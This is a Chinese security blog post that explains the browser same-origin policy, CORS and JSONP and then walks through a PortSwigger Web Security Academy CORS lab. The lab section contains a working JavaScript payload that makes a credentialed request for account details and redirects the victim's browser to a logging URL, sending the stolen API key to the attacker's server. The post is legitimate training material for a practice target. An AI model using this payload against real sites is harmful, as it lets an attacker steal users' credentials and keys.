免责声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规,勿做违法行为!本公众号尊重知识产权,如有侵权请联系我们删除。
01
同源策略是什么意思
1、概念
同源策略是浏览器的一个安全功能,它规定了来自一个源的脚本在没有特殊授权的情况下,不能访问或操作来自其他源的文档、对象或脚本等资源。这里的 “源” 由协议、域名和端口号共同决定,只有当这三个部分都完全相同时,才被认为是同源。
2、作用
防止数据泄露:避免恶意网站通过脚本获取用户在其他网站上的敏感信息,如用户登录凭证、个人数据等。例如,如果没有同源策略,恶意网站的脚本就可能读取用户在银行网站上的账户信息。
防止恶意操作:阻止恶意脚本对其他网站进行未经授权的操作,如修改页面内容、执行命令等。比如,防止一个网站的脚本在用户不知情的情况下,在另一个网站上发起转账等危险操作。
3、实现方式
浏览器通过检查请求的源和目标资源的源是否相同来实施同源策略。当脚本尝试进行跨源操作时,浏览器会根据同源策略的规则进行检查,如果发现是跨源操作且不符合相关安全规定,就会阻止该操作。
4、相关技术
跨域资源共享(CORS):是一种允许网页脚本向不同源的服务器请求资源的机制,通过在服务器端设置特定的响应头,来告诉浏览器哪些源的请求是被允许的,从而实现跨源访问的安全控制。
JSONP(JSON with Padding):是一种利用<script>标签的 src 属性不受同源策略限制的特性来实现跨域数据获取的技术,常用于请求 JSON 数据。它通过动态创建<script>标签,将回调函数名作为参数传递给服务器,服务器返回一个包含回调函数调用和数据的 JavaScript 代码,从而实现跨域数据传递。
02
CORS实验练习
靶场地址:https://portswigger.net/web-security/all-labs#cross-origin-resource-sharing-cors
1、一级标题
实验地址:https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
实验目标:编写JavaScript,使用CORS检索管理员的API密钥,并将代码上传到漏洞利用服务器。
(1)登录账号,点击MyAcoount并抓包,查看了自己API
(2)在请求包添加 Origin: https://example.com,观察响应包
(3)构造js利用脚本
<script> var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);req.withCredentials = true;req.send();function reqListener() { location='/log?key='+this.responseText;};</script>
(4)进入利用页面,把js代码复制在body中,同时将URL替换js的内容,Flie内容改为html
(5)点击View exploit,然后返回 back to the exploit server ,点击Deliver exploit to victim,然后点击Access log找到可疑的登录记录
解码得出了管理员的API秘钥
(6)点击Submit Solution,提交获取的APIkey
亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!
原文始发于微信公众号(菜根网络安全杂谈):同源策略漏洞初步学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论